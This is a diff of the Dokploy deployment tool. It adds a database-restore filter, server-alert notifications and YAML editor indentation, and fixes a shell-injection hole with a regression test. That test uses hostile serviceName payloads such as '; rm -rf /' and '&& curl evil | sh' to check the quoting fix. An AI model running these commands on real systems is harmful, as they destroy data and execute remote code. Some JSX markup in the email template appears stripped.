diff --git a/.github/workflows/dokploy.yml b/.github/workflows/dokploy.yml index e30b5d06a..08d6b8a5b 100644 --- a/.github/workflows/dokploy.yml +++ b/.github/workflows/dokploy.yml @@ -187,6 +187,16 @@ jobs: with: version: 10.22.0 + - uses: actions/setup-node@v4 + with: + node-version: 24.4.0 + cache: pnpm + + - name: Generate OpenAPI specification + run: | + pnpm install --frozen-lockfile + pnpm generate:openapi + - name: Sync version to MCP repository run: | git clone https://x-access-token:${{ secrets.DOCS_SYNC_TOKEN }}@github.com/dokploy/mcp.git /tmp/mcp-repo @@ -195,8 +205,8 @@ jobs: jq --arg v "${{ needs.generate-release.outputs.npm_version }}" '.version = $v' package.json > package.json.tmp mv package.json.tmp package.json + cp ${{ github.workspace }}/openapi.json src/generated/openapi.json pnpm install - pnpm run fetch-openapi pnpm run generate git config user.name "Dokploy Bot" diff --git a/apps/dokploy/__test__/backups/restore-use-statement.test.ts b/apps/dokploy/__test__/backups/restore-use-statement.test.ts new file mode 100644 index 000000000..51b0ce904 --- /dev/null +++ b/apps/dokploy/__test__/backups/restore-use-statement.test.ts @@ -0,0 +1,57 @@ +import { execSync } from "node:child_process"; +import { + getRestoreCommand, + stripDatabaseSwitchCommand, +} from "@dokploy/server/utils/restore/utils"; +import { describe, expect, it } from "vitest"; + +const filter = (input: string) => + execSync(stripDatabaseSwitchCommand, { + input, + shell: "/bin/bash", + }).toString(); + +describe("restore drops database-switch statements (mysql/mariadb)", () => { + const dump = [ + "-- MariaDB dump", + "CREATE DATABASE /*!32312 IF NOT EXISTS*/ `production_db`;", + "USE `production_db`;", + "use production_db;", + "DROP TABLE IF EXISTS `users`;", + "CREATE TABLE `users` (`id` int NOT NULL);", + "INSERT INTO `users` VALUES (1),(2);", + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ].join("\n"); + + it("removes USE and CREATE DATABASE lines but keeps everything else", () => { + const result = filter(dump); + expect(result).not.toContain("USE `production_db`"); + expect(result).not.toContain("use production_db"); + expect(result).not.toContain("CREATE DATABASE /*!32312"); + expect(result).toContain("DROP TABLE IF EXISTS `users`;"); + expect(result).toContain("CREATE TABLE `users` (`id` int NOT NULL);"); + expect(result).toContain("INSERT INTO `users` VALUES (1),(2);"); + expect(result).toContain( + "INSERT INTO `logs` VALUES ('USER: because'),('CREATE DATABASE is a string');", + ); + }); + + it("is wired into mysql and mariadb restore pipelines only", () => { + const base = { + appName: "my-app", + restoreType: "database" as const, + credentials: { + database: "dev_db", + databaseUser: "u", + databasePassword: "p", + }, + rcloneCommand: "rclone cat ':s3:bucket/file.sql.gz' | gunzip", + }; + for (const type of ["mysql", "mariadb"] as const) { + const cmd = getRestoreCommand({ ...base, type }); + expect(cmd).toContain(`gunzip | ${stripDatabaseSwitchCommand} | docker`); + } + const pgCmd = getRestoreCommand({ ...base, type: "postgres" }); + expect(pgCmd).not.toContain(stripDatabaseSwitchCommand); + }); +}); diff --git a/apps/dokploy/__test__/compose/domain-command-injection.test.ts b/apps/dokploy/__test__/compose/domain-command-injection.test.ts new file mode 100644 index 000000000..24f129c58 --- /dev/null +++ b/apps/dokploy/__test__/compose/domain-command-injection.test.ts @@ -0,0 +1,68 @@ +import { parse } from "shell-quote"; +import { describe, expect, it, vi } from "vitest"; + +// writeDomainsToCompose reads the on-disk compose file; mock fs so the file +// "exists" but does not contain the attacker's service, forcing the error path +// whose message embeds the user-controlled serviceName. +vi.mock("node:fs", async (importOriginal) => { + const actual = await importOriginal(); + return { + ...actual, + existsSync: () => true, + readFileSync: () => "services:\n web:\n image: nginx\n", + }; +}); + +import { writeDomainsToCompose } from "@dokploy/server/utils/docker/domain"; + +const baseCompose = { + appName: "my-app", + serverId: null, + composeType: "docker-compose", + sourceType: "raw", + composePath: "docker-compose.yml", + isolatedDeployment: false, + randomize: false, + suffix: "", +} as any; + +const makeDomain = (serviceName: string) => + ({ + host: "example.com", + serviceName, + https: false, + uniqueConfigKey: 1, + port: 3000, + }) as any; + +// If the returned shell fragment is safe, parse() yields only string tokens. +// A leaked operator ($(), backtick, ;, |, &&) shows up as an object token. +const leaksShellSyntax = (command: string, marker: string) => + parse(command).some( + (t) => typeof t !== "string" && JSON.stringify(t).includes(marker), + ); + +describe("writeDomainsToCompose error path (GHSA-xmmr serviceName injection)", () => { + it("does not let a malicious serviceName inject shell operators", async () => { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain("$(touch /tmp/pwned)"), + ]); + + // The service does not exist in the compose, so we hit the error branch. + expect(result).toContain("Has occurred an error"); + // The payload text may appear inside the single-quoted echo argument, but + // it must never parse as a shell operator ($(), backtick, ; …). + expect(leaksShellSyntax(result, "touch")).toBe(false); + }); + + it("neutralizes backtick and semicolon payloads too", async () => { + for (const payload of ["`id`", "; rm -rf /", "&& curl evil | sh"]) { + const result = await writeDomainsToCompose(baseCompose, [ + makeDomain(`svc${payload}`), + ]); + expect(leaksShellSyntax(result, "rm")).toBe(false); + expect(leaksShellSyntax(result, "curl")).toBe(false); + expect(leaksShellSyntax(result, "id")).toBe(false); + } + }); +}); diff --git a/apps/dokploy/components/icons/data-tools-icons.tsx b/apps/dokploy/components/icons/data-tools-icons.tsx index b828052a0..7a0d680aa 100644 --- a/apps/dokploy/components/icons/data-tools-icons.tsx +++ b/apps/dokploy/components/icons/data-tools-icons.tsx @@ -76,7 +76,7 @@ export const MariadbIcon = ({ className }: Props) => { > ); diff --git a/apps/dokploy/components/shared/code-editor.tsx b/apps/dokploy/components/shared/code-editor.tsx index 475032bab..9640e3428 100644 --- a/apps/dokploy/components/shared/code-editor.tsx +++ b/apps/dokploy/components/shared/code-editor.tsx @@ -8,7 +8,11 @@ import { import { css } from "@codemirror/lang-css"; import { json } from "@codemirror/lang-json"; import { yaml } from "@codemirror/lang-yaml"; -import { StreamLanguage } from "@codemirror/language"; +import { + getIndentUnit, + indentService, + StreamLanguage, +} from "@codemirror/language"; import { properties } from "@codemirror/legacy-modes/mode/properties"; import { shell } from "@codemirror/legacy-modes/mode/shell"; import { search, searchKeymap } from "@codemirror/search"; @@ -99,6 +103,27 @@ const dockerComposeServiceOptions = [ }, })); +// The indentNodeProp shipped with @codemirror/lang-yaml computes wrong +// column-based indents on Enter (odd/inconsistent amounts, see #4650), so +// indentation is resolved line-based here: keep the current indent, align +// list-entry keys after the dash marker, and go one unit deeper after a +// line that opens a block (ending in ":", "|" or ">"). +const yamlIndent = indentService.of((context, pos) => { + const line = context.state.doc.lineAt(pos); + const before = context.state.doc.sliceString(line.from, pos); + const indent = /^ */.exec(before)?.[0].length ?? 0; + const trimmed = before.trim(); + if (!trimmed || trimmed.startsWith("#")) { + return indent; + } + const base = + trimmed.startsWith("- ") && /:\s/.test(trimmed) ? indent + 2 : indent; + if (/[:|>]$/.test(trimmed)) { + return base + getIndentUnit(context.state); + } + return base; +}); + function dockerComposeComplete( context: CompletionContext, ): CompletionResult | null { @@ -163,7 +188,7 @@ export const CodeEditor = ({ search(), keymap.of(searchKeymap), language === "yaml" - ? yaml() + ? [yamlIndent, yaml()] : language === "json" ? json() : language === "css" diff --git a/apps/dokploy/server/api/routers/notification.ts b/apps/dokploy/server/api/routers/notification.ts index dd96bc302..ae1c35d12 100644 --- a/apps/dokploy/server/api/routers/notification.ts +++ b/apps/dokploy/server/api/routers/notification.ts @@ -535,7 +535,7 @@ export const notificationRouter = createTRPCRouter({ } organizationId = result?.[0]?.organizationId; - ServerName = "Remote"; + ServerName = result?.[0]?.name ?? "Remote"; } await sendServerThresholdNotifications(organizationId, { diff --git a/packages/server/src/emails/emails/server-threshold.tsx b/packages/server/src/emails/emails/server-threshold.tsx new file mode 100644 index 000000000..9a12f2296 --- /dev/null +++ b/packages/server/src/emails/emails/server-threshold.tsx @@ -0,0 +1,91 @@ +import { + Body, + Container, + Head, + Heading, + Html, + Img, + Preview, + Section, + Tailwind, + Text, +} from "@react-email/components"; +import { emailTailwindConfig } from "../tailwind-config"; + +export type TemplateProps = { + serverName: string; + type: "CPU" | "Memory"; + value: string; + threshold: string; + message: string; + date: string; +}; + +export const ServerThresholdEmail = ({ + serverName = "my-server", + type = "CPU", + value = "95.00", + threshold = "90.00", + message = "Resource usage exceeded the configured threshold", + date = "2023-05-01T00:00:00.000Z", +}: TemplateProps) => { + const previewText = `Server ${type} alert for ${serverName} ⚠️`; + return ( + + {previewText} + + + + + +
+ Dokploy +
+ + ⚠️ Server {type} alert for {serverName} + + + Hello, + + + The {type} usage on {serverName} exceeded the + configured threshold. + +
+ Details: + + Server Name: {serverName} + + + Type: {type} + + + Current Value: {value}% + + + Threshold: {threshold}% + + + Date: {date} + +
+
+ Message: + {message} +
+
+ +
+ + ); +}; + +export default ServerThresholdEmail; diff --git a/packages/server/src/utils/docker/domain.ts b/packages/server/src/utils/docker/domain.ts index c295e7505..718b946e4 100644 --- a/packages/server/src/utils/docker/domain.ts +++ b/packages/server/src/utils/docker/domain.ts @@ -6,6 +6,7 @@ import { network, patch } from "@dokploy/server/db/schema"; import type { Compose } from "@dokploy/server/services/compose"; import type { Domain } from "@dokploy/server/services/domain"; import { eq, inArray } from "drizzle-orm"; +import { quote } from "shell-quote"; import { parse, stringify } from "yaml"; import { execAsyncRemote } from "../process/execAsync"; import { cloneBitbucketRepository } from "../providers/bitbucket"; @@ -128,8 +129,11 @@ exit 1; const encodedContent = encodeBase64(composeString); return `echo "${encodedContent}" | base64 -d > "${path}";`; } catch (error) { - // @ts-ignore - return `echo "❌ Has occurred an error: ${error?.message || error}"; + const message = + error instanceof Error ? error.message : String(error ?? ""); + // The error message embeds user-controlled fields (e.g. serviceName) and is + // executed as part of the compose build shell script, so it must be escaped. + return `echo ${quote([`❌ Has occurred an error: ${message}`])}; exit 1; `; } diff --git a/packages/server/src/utils/notifications/server-threshold.ts b/packages/server/src/utils/notifications/server-threshold.ts index bcabf2cc3..2c1ad8902 100644 --- a/packages/server/src/utils/notifications/server-threshold.ts +++ b/packages/server/src/utils/notifications/server-threshold.ts @@ -1,12 +1,18 @@ +import { render } from "@react-email/components"; import { and, eq } from "drizzle-orm"; import { db } from "../../db"; import { notifications } from "../../db/schema"; +import ServerThresholdEmail from "../../emails/emails/server-threshold"; import { sendCustomNotification, sendDiscordNotification, + sendEmailNotification, + sendGotifyNotification, sendLarkNotification, sendMattermostNotification, + sendNtfyNotification, sendPushoverNotification, + sendResendNotification, sendSlackNotification, sendTeamsNotification, sendTelegramNotification, @@ -39,6 +45,9 @@ export const sendServerThresholdNotifications = async ( discord: true, telegram: true, slack: true, + resend: true, + gotify: true, + ntfy: true, mattermost: true, custom: true, lark: true, @@ -52,9 +61,13 @@ export const sendServerThresholdNotifications = async ( for (const notification of notificationList) { const { + email, discord, telegram, slack, + resend, + gotify, + ntfy, mattermost, custom, lark, @@ -63,6 +76,64 @@ export const sendServerThresholdNotifications = async ( } = notification; try { + if (email || resend) { + const template = await render( + ServerThresholdEmail({ + serverName: payload.ServerName, + type: payload.Type, + value: payload.Value.toFixed(2), + threshold: payload.Threshold.toFixed(2), + message: payload.Message, + date: date.toLocaleString(), + }), + ); + + if (email) { + await sendEmailNotification( + email, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + + if (resend) { + await sendResendNotification( + resend, + `Server ${payload.Type} alert for ${payload.ServerName}`, + template, + ); + } + } + + if (gotify) { + const decorate = (decoration: string, text: string) => + `${gotify.decoration ? decoration : ""} ${text}\n`; + + await sendGotifyNotification( + gotify, + decorate("⚠️", `Server ${payload.Type} Alert`), + `${decorate("🏷️", `Server: ${payload.ServerName}`)}` + + `${decorate("📊", `Current Value: ${payload.Value.toFixed(2)}%`)}` + + `${decorate("⚠️", `Threshold: ${payload.Threshold.toFixed(2)}%`)}` + + `${decorate("📜", `Message: ${payload.Message}`)}` + + `${decorate("🕒", `Date: ${date.toLocaleString()}`)}`, + ); + } + + if (ntfy) { + await sendNtfyNotification( + ntfy, + `Server ${payload.Type} Alert`, + "warning", + "", + `🏷️Server: ${payload.ServerName}\n` + + `📊Current Value: ${payload.Value.toFixed(2)}%\n` + + `⚠️Threshold: ${payload.Threshold.toFixed(2)}%\n` + + `📜Message: ${payload.Message}\n` + + `🕒Date: ${date.toLocaleString()}`, + ); + } + if (discord) { const decorate = (decoration: string, text: string) => `${discord.decoration ? decoration : ""} ${text}`.trim(); diff --git a/packages/server/src/utils/restore/utils.ts b/packages/server/src/utils/restore/utils.ts index dd2934430..c232b6956 100644 --- a/packages/server/src/utils/restore/utils.ts +++ b/packages/server/src/utils/restore/utils.ts @@ -79,6 +79,10 @@ const generateRestoreCommand = ( } }; +// Dumps taken with `--databases` carry `USE`/`CREATE DATABASE` statements that +// would redirect the restore away from the database selected in the dialog. +export const stripDatabaseSwitchCommand = `grep -viE '^[[:space:]]*(use|create[[:space:]]+database)[[:space:]]'`; + const getMongoSpecificCommand = ( rcloneCommand: string, restoreCommand: string, @@ -125,7 +129,9 @@ export const getRestoreCommand = ({ const restoreCommand = generateRestoreCommand(type, credentials); let cmd = `CONTAINER_ID=$(${containerSearch})`; - if (type !== "mongo") { + if (type === "mysql" || type === "mariadb") { + cmd += ` && ${rcloneCommand} | ${stripDatabaseSwitchCommand} | ${restoreCommand}`; + } else if (type !== "mongo") { cmd += ` && ${rcloneCommand} | ${restoreCommand}`; } else { cmd += ` && ${getMongoSpecificCommand(rcloneCommand, restoreCommand, backupFile || "")}`;